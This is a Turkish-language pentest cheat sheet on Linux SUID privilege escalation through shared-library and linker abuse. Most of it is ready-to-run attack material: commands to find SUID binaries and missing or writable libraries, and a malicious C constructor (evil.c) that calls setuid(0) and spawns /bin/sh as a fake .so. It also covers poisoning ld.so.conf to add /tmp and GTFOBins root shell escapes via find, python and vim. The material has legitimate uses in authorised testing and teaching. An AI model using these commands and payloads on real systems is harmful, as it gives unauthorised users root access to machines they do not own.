SUID Shared Library and Linker Abuse

linux privesc

SUID bir binary, yüklediği paylaşımlı kütüphaneyi saldırgan kontrolündeyse yüksek yetkiyle kod çalıştırır. rpath, yazılabilir dizin, eksik .so ve linker yapılandırması klasik vektörlerdir.

Metodoloji

1. SUID binary’leri ve ldd / readelf ile bağımlılıkları çıkar.

2. Yazılabilir path, missing library veya RUNPATH/RPATH ara.

3. Sahte .so yerleştirip SUID binary’yi çalıştır.

4. Root shell / credential kanıtını al.

SUID envanteri

find / -perm -4000 -type f 2>/dev/null

find / -perm -2000 -type f 2>/dev/null

ls -l /usr/local/bin /opt 2>/dev/null

Bağımlılık analizi

ldd /usr/local/bin/vuln

readelf -d /usr/local/bin/vuln | rg -i 'rpath|runpath|needed'

strings /usr/local/bin/vuln | rg '\.so'

LD_DEBUG=libs /usr/local/bin/vuln 2>&1 | head -n 80

Missing library

ldd: libhidden.so => not found

# yazılabilir bir dizin PATH/ld search içindeyse:
gcc -shared -fPIC -o libhidden.so evil.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
  setuid(0); setgid(0);
  system("/bin/sh");
}

cp libhidden.so /writable/path/

/usr/local/bin/vuln

RPATH / RUNPATH

readelf -d /usr/local/bin/vuln | rg path

RUNPATH /opt/app/lib   # yazılabilirse .so değiştir

ls -ld /opt/app/lib

gcc -shared -fPIC -o /opt/app/lib/libapp.so evil.c

ld.so.conf abuse

cat /etc/ld.so.conf /etc/ld.so.conf.d/* 2>/dev/null

# yazılabilen conf:
echo '/tmp' > /etc/ld.so.conf.d/evil.conf

ldconfig

GTFO benzeri SUID

# find
find . -exec /bin/sh -p \; -quit

# python
python3 -c 'import os; os.execl("/bin/sh","sh","-p")'

# vim
vim -c ':py3 import os; os.execl("/bin/sh","sh","-p")'

curl -sL https://gtfobins.github.io/#+suid | head

Checklist

[ ] SUID listesi alındı
[ ] ldd/rpath/missing .so incelendi
[ ] Yazılabilir library path doğrulandı
[ ] Sahte .so ile yükseltme kanıtlandı